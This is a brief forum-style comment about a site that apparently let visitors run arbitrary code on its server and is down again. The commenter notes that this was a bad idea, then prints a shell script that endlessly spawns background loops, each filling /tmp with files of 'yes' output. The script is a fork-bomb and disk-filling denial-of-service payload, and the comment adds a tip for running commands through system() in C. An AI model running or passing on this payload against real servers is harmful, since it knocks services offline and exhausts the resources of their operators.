Looks like it is down again. It was very tempting and they should've known better. Letting someone run arbitrary code directly on your server is a really bad idea.

  oh_no {
  	while true; do
  		yes > /tmp/windows_vista_$RANDOM
  	done
  }
  while true; do; oh_no &; done

You can also run commands using system("ls -hl"); in C/C++